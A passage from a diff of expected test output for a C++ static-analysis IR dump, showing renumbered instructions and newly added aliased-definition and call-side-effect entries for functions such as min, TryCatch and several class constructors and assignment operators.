&) = Store : r0_2, r0_3 -# 679| r0_5(glval) = VariableAddress[#return] : -# 679| v0_6(void) = ReturnValue : r0_5, mu0_1 -# 679| v0_7(void) = UnmodeledUse : mu* -# 679| v0_8(void) = ExitFunction : +# 679| mu0_1(unknown) = AliasedDefinition : +# 679| mu0_2(unknown) = UnmodeledDefinition : +# 680| r0_3(glval) = VariableAddress[#return] : +# 680| r0_4(glval) = VariableAddress[g] : +# 680| mu0_5(int &) = Store : r0_3, r0_4 +# 679| r0_6(glval) = VariableAddress[#return] : +# 679| v0_7(void) = ReturnValue : r0_6, mu0_2 +# 679| v0_8(void) = UnmodeledUse : mu* +# 679| v0_9(void) = ExitFunction : # 685| InitReference(int) -> void # 685| Block 0 # 685| v0_0(void) = EnterFunction : -# 685| mu0_1(unknown) = UnmodeledDefinition : -# 685| r0_2(glval) = VariableAddress[x] : -# 685| mu0_3(int) = InitializeParameter[x] : r0_2 -# 686| r0_4(glval) = VariableAddress[r] : -# 686| r0_5(glval) = VariableAddress[x] : -# 686| mu0_6(int &) = Store : r0_4, r0_5 -# 687| r0_7(glval) = VariableAddress[r2] : -# 687| r0_8(glval) = VariableAddress[r] : -# 687| r0_9(int &) = Load : r0_8, mu0_1 -# 687| mu0_10(int &) = Store : r0_7, r0_9 -# 688| r0_11(glval) = VariableAddress[r3] : -# 688| r0_12(glval) = FunctionAddress[ReturnReference] : -# 688| r0_13(String &) = Call : r0_12 -# 688| r0_14(glval) = Convert : r0_13 -# 688| mu0_15(String &) = Store : r0_11, r0_14 -# 689| v0_16(void) = NoOp : -# 685| v0_17(void) = ReturnVoid : -# 685| v0_18(void) = UnmodeledUse : mu* -# 685| v0_19(void) = ExitFunction : +# 685| mu0_1(unknown) = AliasedDefinition : +# 685| mu0_2(unknown) = UnmodeledDefinition : +# 685| r0_3(glval) = VariableAddress[x] : +# 685| mu0_4(int) = InitializeParameter[x] : r0_3 +# 686| r0_5(glval) = VariableAddress[r] : +# 686| r0_6(glval) = VariableAddress[x] : +# 686| mu0_7(int &) = Store : r0_5, r0_6 +# 687| r0_8(glval) = VariableAddress[r2] : +# 687| r0_9(glval) = VariableAddress[r] : +# 687| r0_10(int &) = Load : r0_9, mu0_2 +# 687| mu0_11(int &) = Store : r0_8, r0_10 +# 688| r0_12(glval) = VariableAddress[r3] : +# 688| r0_13(glval) = FunctionAddress[ReturnReference] : +# 688| r0_14(String &) = Call : r0_13 +# 688| mu0_15(unknown) = ^CallSideEffect : mu0_2 +# 688| r0_16(glval) = Convert : r0_14 +# 688| mu0_17(String &) = Store : r0_12, r0_16 +# 689| v0_18(void) = NoOp : +# 685| v0_19(void) = ReturnVoid : +# 685| v0_20(void) = UnmodeledUse : mu* +# 685| v0_21(void) = ExitFunction : # 691| ArrayReferences() -> void # 691| Block 0 # 691| v0_0(void) = EnterFunction : -# 691| mu0_1(unknown) = UnmodeledDefinition : -# 692| r0_2(glval) = VariableAddress[a] : -# 692| mu0_3(int[10]) = Uninitialized : r0_2 -# 693| r0_4(glval) = VariableAddress[ra] : -# 693| r0_5(glval) = VariableAddress[a] : -# 693| mu0_6(int(&)[10]) = Store : r0_4, r0_5 -# 694| r0_7(glval) = VariableAddress[x] : -# 694| r0_8(glval) = VariableAddress[ra] : -# 694| r0_9(int(&)[10]) = Load : r0_8, mu0_1 -# 694| r0_10(int *) = Convert : r0_9 -# 694| r0_11(int) = Constant[5] : -# 694| r0_12(int *) = PointerAdd[4] : r0_10, r0_11 -# 694| r0_13(int) = Load : r0_12, mu0_1 -# 694| mu0_14(int) = Store : r0_7, r0_13 -# 695| v0_15(void) = NoOp : -# 691| v0_16(void) = ReturnVoid : -# 691| v0_17(void) = UnmodeledUse : mu* -# 691| v0_18(void) = ExitFunction : +# 691| mu0_1(unknown) = AliasedDefinition : +# 691| mu0_2(unknown) = UnmodeledDefinition : +# 692| r0_3(glval) = VariableAddress[a] : +# 692| mu0_4(int[10]) = Uninitialized[a] : r0_3 +# 693| r0_5(glval) = VariableAddress[ra] : +# 693| r0_6(glval) = VariableAddress[a] : +# 693| mu0_7(int(&)[10]) = Store : r0_5, r0_6 +# 694| r0_8(glval) = VariableAddress[x] : +# 694| r0_9(glval) = VariableAddress[ra] : +# 694| r0_10(int(&)[10]) = Load : r0_9, mu0_2 +# 694| r0_11(int *) = Convert : r0_10 +# 694| r0_12(int) = Constant[5] : +# 694| r0_13(int *) = PointerAdd[4] : r0_11, r0_12 +# 694| r0_14(int) = Load : r0_13, mu0_2 +# 694| mu0_15(int) = Store : r0_8, r0_14 +# 695| v0_16(void) = NoOp : +# 691| v0_17(void) = ReturnVoid : +# 691| v0_18(void) = UnmodeledUse : mu* +# 691| v0_19(void) = ExitFunction : # 697| FunctionReferences() -> void # 697| Block 0 -# 697| v0_0(void) = EnterFunction : -# 697| mu0_1(unknown) = UnmodeledDefinition : -# 698| r0_2(glval<..(&)(..)>) = VariableAddress[rfn] : -# 698| r0_3(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : -# 698| mu0_4(..(&)(..)) = Store : r0_2, r0_3 -# 699| r0_5(glval<..(*)(..)>) = VariableAddress[pfn] : -# 699| r0_6(glval<..(&)(..)>) = VariableAddress[rfn] : -# 699| r0_7(..(&)(..)) = Load : r0_6, mu0_1 -# 699| mu0_8(..(*)(..)) = Store : r0_5, r0_7 -# 700| r0_9(glval<..(&)(..)>) = VariableAddress[rfn] : -# 700| r0_10(..(&)(..)) = Load : r0_9, mu0_1 -# 700| r0_11(int) = Constant[5] : -# 700| r0_12(int) = Call : r0_10, r0_11 -# 701| v0_13(void) = NoOp : -# 697| v0_14(void) = ReturnVoid : -# 697| v0_15(void) = UnmodeledUse : mu* -# 697| v0_16(void) = ExitFunction : +# 697| v0_0(void) = EnterFunction : +# 697| mu0_1(unknown) = AliasedDefinition : +# 697| mu0_2(unknown) = UnmodeledDefinition : +# 698| r0_3(glval<..(&)(..)>) = VariableAddress[rfn] : +# 698| r0_4(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : +# 698| mu0_5(..(&)(..)) = Store : r0_3, r0_4 +# 699| r0_6(glval<..(*)(..)>) = VariableAddress[pfn] : +# 699| r0_7(glval<..(&)(..)>) = VariableAddress[rfn] : +# 699| r0_8(..(&)(..)) = Load : r0_7, mu0_2 +# 699| mu0_9(..(*)(..)) = Store : r0_6, r0_8 +# 700| r0_10(glval<..(&)(..)>) = VariableAddress[rfn] : +# 700| r0_11(..(&)(..)) = Load : r0_10, mu0_2 +# 700| r0_12(int) = Constant[5] : +# 700| r0_13(int) = Call : r0_11, r0_12 +# 700| mu0_14(unknown) = ^CallSideEffect : mu0_2 +# 701| v0_15(void) = NoOp : +# 697| v0_16(void) = ReturnVoid : +# 697| v0_17(void) = UnmodeledUse : mu* +# 697| v0_18(void) = ExitFunction : # 704| min(int, int) -> int # 704| Block 0 -# 704| v0_0(void) = EnterFunction : -# 704| mu0_1(unknown) = UnmodeledDefinition : -# 704| r0_2(glval) = VariableAddress[x] : -# 704| mu0_3(int) = InitializeParameter[x] : r0_2 -# 704| r0_4(glval) = VariableAddress[y] : -# 704| mu0_5(int) = InitializeParameter[y] : r0_4 -# 705| r0_6(glval) = VariableAddress[#return] : -# 705| r0_7(glval) = VariableAddress[x] : -# 705| r0_8(int) = Load : r0_7, mu0_1 -# 705| r0_9(glval) = VariableAddress[y] : -# 705| r0_10(int) = Load : r0_9, mu0_1 -# 705| r0_11(bool) = CompareLT : r0_8, r0_10 -# 705| v0_12(void) = ConditionalBranch : r0_11 +# 704| v0_0(void) = EnterFunction : +# 704| mu0_1(unknown) = AliasedDefinition : +# 704| mu0_2(unknown) = UnmodeledDefinition : +# 704| r0_3(glval) = VariableAddress[x] : +# 704| mu0_4(int) = InitializeParameter[x] : r0_3 +# 704| r0_5(glval) = VariableAddress[y] : +# 704| mu0_6(int) = InitializeParameter[y] : r0_5 +# 705| r0_7(glval) = VariableAddress[#return] : +# 705| r0_8(glval) = VariableAddress[x] : +# 705| r0_9(int) = Load : r0_8, mu0_2 +# 705| r0_10(glval) = VariableAddress[y] : +# 705| r0_11(int) = Load : r0_10, mu0_2 +# 705| r0_12(bool) = CompareLT : r0_9, r0_11 +# 705| v0_13(void) = ConditionalBranch : r0_12 #-----| False -> Block 2 #-----| True -> Block 1 # 705| Block 1 # 705| r1_0(glval) = VariableAddress[x] : -# 705| r1_1(int) = Load : r1_0, mu0_1 +# 705| r1_1(int) = Load : r1_0, mu0_2 # 705| r1_2(glval) = VariableAddress[#temp705:10] : # 705| mu1_3(int) = Store : r1_2, r1_1 #-----| Goto -> Block 3 # 705| Block 2 # 705| r2_0(glval) = VariableAddress[y] : -# 705| r2_1(int) = Load : r2_0, mu0_1 +# 705| r2_1(int) = Load : r2_0, mu0_2 # 705| r2_2(glval) = VariableAddress[#temp705:10] : # 705| mu2_3(int) = Store : r2_2, r2_1 #-----| Goto -> Block 3 # 705| Block 3 # 705| r3_0(glval) = VariableAddress[#temp705:10] : -# 705| r3_1(int) = Load : r3_0, mu0_1 -# 705| mu3_2(int) = Store : r0_6, r3_1 +# 705| r3_1(int) = Load : r3_0, mu0_2 +# 705| mu3_2(int) = Store : r0_7, r3_1 # 704| r3_3(glval) = VariableAddress[#return] : -# 704| v3_4(void) = ReturnValue : r3_3, mu0_1 +# 704| v3_4(void) = ReturnValue : r3_3, mu0_2 # 704| v3_5(void) = UnmodeledUse : mu* # 704| v3_6(void) = ExitFunction : # 708| CallMin(int, int) -> int # 708| Block 0 # 708| v0_0(void) = EnterFunction : -# 708| mu0_1(unknown) = UnmodeledDefinition : -# 708| r0_2(glval) = VariableAddress[x] : -# 708| mu0_3(int) = InitializeParameter[x] : r0_2 -# 708| r0_4(glval) = VariableAddress[y] : -# 708| mu0_5(int) = InitializeParameter[y] : r0_4 -# 709| r0_6(glval) = VariableAddress[#return] : -# 709| r0_7(glval) = FunctionAddress[min] : -# 709| r0_8(glval) = VariableAddress[x] : -# 709| r0_9(int) = Load : r0_8, mu0_1 -# 709| r0_10(glval) = VariableAddress[y] : -# 709| r0_11(int) = Load : r0_10, mu0_1 -# 709| r0_12(int) = Call : r0_7, r0_9, r0_11 -# 709| mu0_13(int) = Store : r0_6, r0_12 -# 708| r0_14(glval) = VariableAddress[#return] : -# 708| v0_15(void) = ReturnValue : r0_14, mu0_1 -# 708| v0_16(void) = UnmodeledUse : mu* -# 708| v0_17(void) = ExitFunction : +# 708| mu0_1(unknown) = AliasedDefinition : +# 708| mu0_2(unknown) = UnmodeledDefinition : +# 708| r0_3(glval) = VariableAddress[x] : +# 708| mu0_4(int) = InitializeParameter[x] : r0_3 +# 708| r0_5(glval) = VariableAddress[y] : +# 708| mu0_6(int) = InitializeParameter[y] : r0_5 +# 709| r0_7(glval) = VariableAddress[#return] : +# 709| r0_8(glval) = FunctionAddress[min] : +# 709| r0_9(glval) = VariableAddress[x] : +# 709| r0_10(int) = Load : r0_9, mu0_2 +# 709| r0_11(glval) = VariableAddress[y] : +# 709| r0_12(int) = Load : r0_11, mu0_2 +# 709| r0_13(int) = Call : r0_8, r0_10, r0_12 +# 709| mu0_14(unknown) = ^CallSideEffect : mu0_2 +# 709| mu0_15(int) = Store : r0_7, r0_13 +# 708| r0_16(glval) = VariableAddress[#return] : +# 708| v0_17(void) = ReturnValue : r0_16, mu0_2 +# 708| v0_18(void) = UnmodeledUse : mu* +# 708| v0_19(void) = ExitFunction : # 715| Outer::Func(void *, char) -> long # 715| Block 0 # 715| v0_0(void) = EnterFunction : -# 715| mu0_1(unknown) = UnmodeledDefinition : -# 715| r0_2(glval) = VariableAddress[x] : -# 715| mu0_3(void *) = InitializeParameter[x] : r0_2 -# 715| r0_4(glval) = VariableAddress[y] : -# 715| mu0_5(char) = InitializeParameter[y] : r0_4 -# 716| r0_6(glval) = VariableAddress[#return] : -# 716| r0_7(long) = Constant[0] : -# 716| mu0_8(long) = Store : r0_6, r0_7 -# 715| r0_9(glval) = VariableAddress[#return] : -# 715| v0_10(void) = ReturnValue : r0_9, mu0_1 -# 715| v0_11(void) = UnmodeledUse : mu* -# 715| v0_12(void) = ExitFunction : +# 715| mu0_1(unknown) = AliasedDefinition : +# 715| mu0_2(unknown) = UnmodeledDefinition : +# 715| r0_3(glval) = VariableAddress[x] : +# 715| mu0_4(void *) = InitializeParameter[x] : r0_3 +# 715| r0_5(glval) = VariableAddress[y] : +# 715| mu0_6(char) = InitializeParameter[y] : r0_5 +# 716| r0_7(glval) = VariableAddress[#return] : +# 716| r0_8(long) = Constant[0] : +# 716| mu0_9(long) = Store : r0_7, r0_8 +# 715| r0_10(glval) = VariableAddress[#return] : +# 715| v0_11(void) = ReturnValue : r0_10, mu0_2 +# 715| v0_12(void) = UnmodeledUse : mu* +# 715| v0_13(void) = ExitFunction : # 720| CallNestedTemplateFunc() -> double # 720| Block 0 # 720| v0_0(void) = EnterFunction : -# 720| mu0_1(unknown) = UnmodeledDefinition : -# 721| r0_2(glval) = VariableAddress[#return] : -# 721| r0_3(glval) = FunctionAddress[Func] : -# 721| r0_4(void *) = Constant[0] : -# 721| r0_5(char) = Constant[111] : -# 721| r0_6(long) = Call : r0_3, r0_4, r0_5 -# 721| r0_7(double) = Convert : r0_6 -# 721| mu0_8(double) = Store : r0_2, r0_7 -# 720| r0_9(glval) = VariableAddress[#return] : -# 720| v0_10(void) = ReturnValue : r0_9, mu0_1 -# 720| v0_11(void) = UnmodeledUse : mu* -# 720| v0_12(void) = ExitFunction : +# 720| mu0_1(unknown) = AliasedDefinition : +# 720| mu0_2(unknown) = UnmodeledDefinition : +# 721| r0_3(glval) = VariableAddress[#return] : +# 721| r0_4(glval) = FunctionAddress[Func] : +# 721| r0_5(void *) = Constant[0] : +# 721| r0_6(char) = Constant[111] : +# 721| r0_7(long) = Call : r0_4, r0_5, r0_6 +# 721| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 721| r0_9(double) = Convert : r0_7 +# 721| mu0_10(double) = Store : r0_3, r0_9 +# 720| r0_11(glval) = VariableAddress[#return] : +# 720| v0_12(void) = ReturnValue : r0_11, mu0_2 +# 720| v0_13(void) = UnmodeledUse : mu* +# 720| v0_14(void) = ExitFunction : # 724| TryCatch(bool) -> void # 724| Block 0 # 724| v0_0(void) = EnterFunction : -# 724| mu0_1(unknown) = UnmodeledDefinition : -# 724| r0_2(glval) = VariableAddress[b] : -# 724| mu0_3(bool) = InitializeParameter[b] : r0_2 -# 726| r0_4(glval) = VariableAddress[x] : -# 726| r0_5(int) = Constant[5] : -# 726| mu0_6(int) = Store : r0_4, r0_5 -# 727| r0_7(glval) = VariableAddress[b] : -# 727| r0_8(bool) = Load : r0_7, mu0_1 -# 727| v0_9(void) = ConditionalBranch : r0_8 +# 724| mu0_1(unknown) = AliasedDefinition : +# 724| mu0_2(unknown) = UnmodeledDefinition : +# 724| r0_3(glval) = VariableAddress[b] : +# 724| mu0_4(bool) = InitializeParameter[b] : r0_3 +# 726| r0_5(glval) = VariableAddress[x] : +# 726| r0_6(int) = Constant[5] : +# 726| mu0_7(int) = Store : r0_5, r0_6 +# 727| r0_8(glval) = VariableAddress[b] : +# 727| r0_9(bool) = Load : r0_8, mu0_2 +# 727| v0_10(void) = ConditionalBranch : r0_9 #-----| False -> Block 4 #-----| True -> Block 3 @@ -2999,12 +3105,12 @@ ir.cpp: # 728| r3_1(glval) = StringConstant["string literal"] : # 728| r3_2(char *) = Convert : r3_1 # 728| mu3_3(char *) = Store : r3_0, r3_2 -# 728| v3_4(void) = ThrowValue : r3_0, mu0_1 +# 728| v3_4(void) = ThrowValue : r3_0, mu0_2 #-----| Exception -> Block 9 # 730| Block 4 # 730| r4_0(glval) = VariableAddress[x] : -# 730| r4_1(int) = Load : r4_0, mu0_1 +# 730| r4_1(int) = Load : r4_0, mu0_2 # 730| r4_2(int) = Constant[2] : # 730| r4_3(bool) = CompareLT : r4_1, r4_2 # 730| v4_4(void) = ConditionalBranch : r4_3 @@ -3013,7 +3119,7 @@ ir.cpp: # 731| Block 5 # 731| r5_0(glval) = VariableAddress[b] : -# 731| r5_1(bool) = Load : r5_0, mu0_1 +# 731| r5_1(bool) = Load : r5_0, mu0_2 # 731| v5_2(void) = ConditionalBranch : r5_1 #-----| False -> Block 7 #-----| True -> Block 6 @@ -3023,7 +3129,7 @@ ir.cpp: # 731| r6_1(glval) = VariableAddress[#temp731:11] : # 731| mu6_2(int) = Store : r6_1, r6_0 # 731| r6_3(glval) = VariableAddress[#temp731:11] : -# 731| r6_4(int) = Load : r6_3, mu0_1 +# 731| r6_4(int) = Load : r6_3, mu0_2 # 731| r6_5(glval) = VariableAddress[x] : # 731| mu6_6(int) = Store : r6_5, r6_4 #-----| Goto -> Block 8 @@ -3034,7 +3140,8 @@ ir.cpp: # 731| r7_2(glval) = StringConstant["String object"] : # 731| r7_3(char *) = Convert : r7_2 # 731| v7_4(void) = Call : r7_1, this:r7_0, r7_3 -# 731| v7_5(void) = ThrowValue : r7_0, mu0_1 +# 731| mu7_5(unknown) = ^CallSideEffect : mu0_2 +# 731| v7_6(void) = ThrowValue : r7_0, mu0_2 #-----| Exception -> Block 9 # 733| Block 8 @@ -3054,9 +3161,10 @@ ir.cpp: # 736| r10_2(glval) = VariableAddress[#throw736:5] : # 736| r10_3(glval) = FunctionAddress[String] : # 736| r10_4(glval) = VariableAddress[s] : -# 736| r10_5(char *) = Load : r10_4, mu0_1 +# 736| r10_5(char *) = Load : r10_4, mu0_2 # 736| v10_6(void) = Call : r10_3, this:r10_2, r10_5 -# 736| v10_7(void) = ThrowValue : r10_2, mu0_1 +# 736| mu10_7(unknown) = ^CallSideEffect : mu0_2 +# 736| v10_8(void) = ThrowValue : r10_2, mu0_2 #-----| Exception -> Block 2 # 738| Block 11 @@ -3083,728 +3191,809 @@ ir.cpp: # 745| Base::Base(const Base &) -> void # 745| Block 0 # 745| v0_0(void) = EnterFunction : -# 745| mu0_1(unknown) = UnmodeledDefinition : -# 745| r0_2(glval) = InitializeThis : -#-----| r0_3(glval) = VariableAddress[p#0] : -#-----| mu0_4(Base &) = InitializeParameter[p#0] : r0_3 -# 745| r0_5(glval) = FieldAddress[base_s] : r0_2 -# 745| r0_6(glval) = FunctionAddress[String] : -# 745| v0_7(void) = Call : r0_6, this:r0_5 -# 745| v0_8(void) = NoOp : -# 745| v0_9(void) = ReturnVoid : -# 745| v0_10(void) = UnmodeledUse : mu* -# 745| v0_11(void) = ExitFunction : +# 745| mu0_1(unknown) = AliasedDefinition : +# 745| mu0_2(unknown) = UnmodeledDefinition : +# 745| r0_3(glval) = InitializeThis : +#-----| r0_4(glval) = VariableAddress[p#0] : +#-----| mu0_5(Base &) = InitializeParameter[p#0] : r0_4 +# 745| r0_6(glval) = FieldAddress[base_s] : r0_3 +# 745| r0_7(glval) = FunctionAddress[String] : +# 745| v0_8(void) = Call : r0_7, this:r0_6 +# 745| mu0_9(unknown) = ^CallSideEffect : mu0_2 +# 745| v0_10(void) = NoOp : +# 745| v0_11(void) = ReturnVoid : +# 745| v0_12(void) = UnmodeledUse : mu* +# 745| v0_13(void) = ExitFunction : # 745| Base::operator=(const Base &) -> Base & # 745| Block 0 # 745| v0_0(void) = EnterFunction : -# 745| mu0_1(unknown) = UnmodeledDefinition : -# 745| r0_2(glval) = InitializeThis : -#-----| r0_3(glval) = VariableAddress[p#0] : -#-----| mu0_4(Base &) = InitializeParameter[p#0] : r0_3 -#-----| r0_5(Base *) = CopyValue : r0_2 -#-----| r0_6(glval) = FieldAddress[base_s] : r0_5 -# 745| r0_7(glval) = FunctionAddress[operator=] : -#-----| r0_8(glval) = VariableAddress[p#0] : -#-----| r0_9(Base &) = Load : r0_8, mu0_1 -#-----| r0_10(glval) = FieldAddress[base_s] : r0_9 -# 745| r0_11(String &) = Call : r0_7, this:r0_6, r0_10 -#-----| r0_12(glval) = VariableAddress[#return] : -#-----| r0_13(Base *) = CopyValue : r0_2 -#-----| mu0_14(Base &) = Store : r0_12, r0_13 -# 745| r0_15(glval) = VariableAddress[#return] : -# 745| v0_16(void) = ReturnValue : r0_15, mu0_1 -# 745| v0_17(void) = UnmodeledUse : mu* -# 745| v0_18(void) = ExitFunction : +# 745| mu0_1(unknown) = AliasedDefinition : +# 745| mu0_2(unknown) = UnmodeledDefinition : +# 745| r0_3(glval) = InitializeThis : +#-----| r0_4(glval) = VariableAddress[p#0] : +#-----| mu0_5(Base &) = InitializeParameter[p#0] : r0_4 +#-----| r0_6(Base *) = CopyValue : r0_3 +#-----| r0_7(glval) = FieldAddress[base_s] : r0_6 +# 745| r0_8(glval) = FunctionAddress[operator=] : +#-----| r0_9(glval) = VariableAddress[p#0] : +#-----| r0_10(Base &) = Load : r0_9, mu0_2 +#-----| r0_11(glval) = FieldAddress[base_s] : r0_10 +# 745| r0_12(String &) = Call : r0_8, this:r0_7, r0_11 +# 745| mu0_13(unknown) = ^CallSideEffect : mu0_2 +#-----| r0_14(glval) = VariableAddress[#return] : +#-----| r0_15(Base *) = CopyValue : r0_3 +#-----| mu0_16(Base &) = Store : r0_14, r0_15 +# 745| r0_17(glval) = VariableAddress[#return] : +# 745| v0_18(void) = ReturnValue : r0_17, mu0_2 +# 745| v0_19(void) = UnmodeledUse : mu* +# 745| v0_20(void) = ExitFunction : # 748| Base::Base() -> void # 748| Block 0 # 748| v0_0(void) = EnterFunction : -# 748| mu0_1(unknown) = UnmodeledDefinition : -# 748| r0_2(glval) = InitializeThis : -# 748| r0_3(glval) = FieldAddress[base_s] : r0_2 -# 748| r0_4(glval) = FunctionAddress[String] : -# 748| v0_5(void) = Call : r0_4, this:r0_3 -# 749| v0_6(void) = NoOp : -# 748| v0_7(void) = ReturnVoid : -# 748| v0_8(void) = UnmodeledUse : mu* -# 748| v0_9(void) = ExitFunction : +# 748| mu0_1(unknown) = AliasedDefinition : +# 748| mu0_2(unknown) = UnmodeledDefinition : +# 748| r0_3(glval) = InitializeThis : +# 748| r0_4(glval) = FieldAddress[base_s] : r0_3 +# 748| r0_5(glval) = FunctionAddress[String] : +# 748| v0_6(void) = Call : r0_5, this:r0_4 +# 748| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 749| v0_8(void) = NoOp : +# 748| v0_9(void) = ReturnVoid : +# 748| v0_10(void) = UnmodeledUse : mu* +# 748| v0_11(void) = ExitFunction : # 750| Base::~Base() -> void # 750| Block 0 # 750| v0_0(void) = EnterFunction : -# 750| mu0_1(unknown) = UnmodeledDefinition : -# 750| r0_2(glval) = InitializeThis : -# 751| v0_3(void) = NoOp : -# 751| r0_4(glval) = FieldAddress[base_s] : r0_2 -# 751| r0_5(glval) = FunctionAddress[~String] : -# 751| v0_6(void) = Call : r0_5, this:r0_4 -# 750| v0_7(void) = ReturnVoid : -# 750| v0_8(void) = UnmodeledUse : mu* -# 750| v0_9(void) = ExitFunction : +# 750| mu0_1(unknown) = AliasedDefinition : +# 750| mu0_2(unknown) = UnmodeledDefinition : +# 750| r0_3(glval) = InitializeThis : +# 751| v0_4(void) = NoOp : +# 751| r0_5(glval) = FieldAddress[base_s] : r0_3 +# 751| r0_6(glval) = FunctionAddress[~String] : +# 751| v0_7(void) = Call : r0_6, this:r0_5 +# 751| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 750| v0_9(void) = ReturnVoid : +# 750| v0_10(void) = UnmodeledUse : mu* +# 750| v0_11(void) = ExitFunction : # 754| Middle::operator=(const Middle &) -> Middle & # 754| Block 0 # 754| v0_0(void) = EnterFunction : -# 754| mu0_1(unknown) = UnmodeledDefinition : -# 754| r0_2(glval) = InitializeThis : -#-----| r0_3(glval) = VariableAddress[p#0] : -#-----| mu0_4(Middle &) = InitializeParameter[p#0] : r0_3 -#-----| r0_5(Middle *) = CopyValue : r0_2 -#-----| r0_6(Base *) = ConvertToBase[Middle : Base] : r0_5 -# 754| r0_7(glval) = FunctionAddress[operator=] : -#-----| r0_8(glval) = VariableAddress[p#0] : -#-----| r0_9(Middle &) = Load : r0_8, mu0_1 -#-----| r0_10(Base *) = ConvertToBase[Middle : Base] : r0_9 -# 754| r0_11(Base &) = Call : r0_7, this:r0_6, r0_10 -#-----| r0_12(Middle *) = CopyValue : r0_2 -#-----| r0_13(glval) = FieldAddress[middle_s] : r0_12 -# 754| r0_14(glval) = FunctionAddress[operator=] : -#-----| r0_15(glval) = VariableAddress[p#0] : -#-----| r0_16(Middle &) = Load : r0_15, mu0_1 -#-----| r0_17(glval) = FieldAddress[middle_s] : r0_16 -# 754| r0_18(String &) = Call : r0_14, this:r0_13, r0_17 -#-----| r0_19(glval) = VariableAddress[#return] : -#-----| r0_20(Middle *) = CopyValue : r0_2 -#-----| mu0_21(Middle &) = Store : r0_19, r0_20 -# 754| r0_22(glval) = VariableAddress[#return] : -# 754| v0_23(void) = ReturnValue : r0_22, mu0_1 -# 754| v0_24(void) = UnmodeledUse : mu* -# 754| v0_25(void) = ExitFunction : +# 754| mu0_1(unknown) = AliasedDefinition : +# 754| mu0_2(unknown) = UnmodeledDefinition : +# 754| r0_3(glval) = InitializeThis : +#-----| r0_4(glval) = VariableAddress[p#0] : +#-----| mu0_5(Middle &) = InitializeParameter[p#0] : r0_4 +#-----| r0_6(Middle *) = CopyValue : r0_3 +#-----| r0_7(Base *) = ConvertToBase[Middle : Base] : r0_6 +# 754| r0_8(glval) = FunctionAddress[operator=] : +#-----| r0_9(glval) = VariableAddress[p#0] : +#-----| r0_10(Middle &) = Load : r0_9, mu0_2 +#-----| r0_11(Base *) = ConvertToBase[Middle : Base] : r0_10 +# 754| r0_12(Base &) = Call : r0_8, this:r0_7, r0_11 +# 754| mu0_13(unknown) = ^CallSideEffect : mu0_2 +#-----| r0_14(Middle *) = CopyValue : r0_3 +#-----| r0_15(glval) = FieldAddress[middle_s] : r0_14 +# 754| r0_16(glval) = FunctionAddress[operator=] : +#-----| r0_17(glval) = VariableAddress[p#0] : +#-----| r0_18(Middle &) = Load : r0_17, mu0_2 +#-----| r0_19(glval) = FieldAddress[middle_s] : r0_18 +# 754| r0_20(String &) = Call : r0_16, this:r0_15, r0_19 +# 754| mu0_21(unknown) = ^CallSideEffect : mu0_2 +#-----| r0_22(glval) = VariableAddress[#return] : +#-----| r0_23(Middle *) = CopyValue : r0_3 +#-----| mu0_24(Middle &) = Store : r0_22, r0_23 +# 754| r0_25(glval) = VariableAddress[#return] : +# 754| v0_26(void) = ReturnValue : r0_25, mu0_2 +# 754| v0_27(void) = UnmodeledUse : mu* +# 754| v0_28(void) = ExitFunction : # 757| Middle::Middle() -> void # 757| Block 0 # 757| v0_0(void) = EnterFunction : -# 757| mu0_1(unknown) = UnmodeledDefinition : -# 757| r0_2(glval) = InitializeThis : -# 757| r0_3(glval) = ConvertToBase[Middle : Base] : r0_2 -# 757| r0_4(glval) = FunctionAddress[Base] : -# 757| v0_5(void) = Call : r0_4, this:r0_3 -# 757| r0_6(glval) = FieldAddress[middle_s] : r0_2 -# 757| r0_7(glval) = FunctionAddress[String] : -# 757| v0_8(void) = Call : r0_7, this:r0_6 -# 758| v0_9(void) = NoOp : -# 757| v0_10(void) = ReturnVoid : -# 757| v0_11(void) = UnmodeledUse : mu* -# 757| v0_12(void) = ExitFunction : +# 757| mu0_1(unknown) = AliasedDefinition : +# 757| mu0_2(unknown) = UnmodeledDefinition : +# 757| r0_3(glval) = InitializeThis : +# 757| r0_4(glval) = ConvertToBase[Middle : Base] : r0_3 +# 757| r0_5(glval) = FunctionAddress[Base] : +# 757| v0_6(void) = Call : r0_5, this:r0_4 +# 757| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 757| r0_8(glval) = FieldAddress[middle_s] : r0_3 +# 757| r0_9(glval) = FunctionAddress[String] : +# 757| v0_10(void) = Call : r0_9, this:r0_8 +# 757| mu0_11(unknown) = ^CallSideEffect : mu0_2 +# 758| v0_12(void) = NoOp : +# 757| v0_13(void) = ReturnVoid : +# 757| v0_14(void) = UnmodeledUse : mu* +# 757| v0_15(void) = ExitFunction : # 759| Middle::~Middle() -> void # 759| Block 0 -# 759| v0_0(void) = EnterFunction : -# 759| mu0_1(unknown) = UnmodeledDefinition : -# 759| r0_2(glval) = InitializeThis : -# 760| v0_3(void) = NoOp : -# 760| r0_4(glval) = FieldAddress[middle_s] : r0_2 -# 760| r0_5(glval) = FunctionAddress[~String] : -# 760| v0_6(void) = Call : r0_5, this:r0_4 -# 760| r0_7(glval) = ConvertToBase[Middle : Base] : r0_2 -# 760| r0_8(glval) = FunctionAddress[~Base] : -# 760| v0_9(void) = Call : r0_8, this:r0_7 -# 759| v0_10(void) = ReturnVoid : -# 759| v0_11(void) = UnmodeledUse : mu* -# 759| v0_12(void) = ExitFunction : +# 759| v0_0(void) = EnterFunction : +# 759| mu0_1(unknown) = AliasedDefinition : +# 759| mu0_2(unknown) = UnmodeledDefinition : +# 759| r0_3(glval) = InitializeThis : +# 760| v0_4(void) = NoOp : +# 760| r0_5(glval) = FieldAddress[middle_s] : r0_3 +# 760| r0_6(glval) = FunctionAddress[~String] : +# 760| v0_7(void) = Call : r0_6, this:r0_5 +# 760| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 760| r0_9(glval) = ConvertToBase[Middle : Base] : r0_3 +# 760| r0_10(glval) = FunctionAddress[~Base] : +# 760| v0_11(void) = Call : r0_10, this:r0_9 +# 760| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 759| v0_13(void) = ReturnVoid : +# 759| v0_14(void) = UnmodeledUse : mu* +# 759| v0_15(void) = ExitFunction : # 763| Derived::operator=(const Derived &) -> Derived & # 763| Block 0 # 763| v0_0(void) = EnterFunction : -# 763| mu0_1(unknown) = UnmodeledDefinition : -# 763| r0_2(glval) = InitializeThis : -#-----| 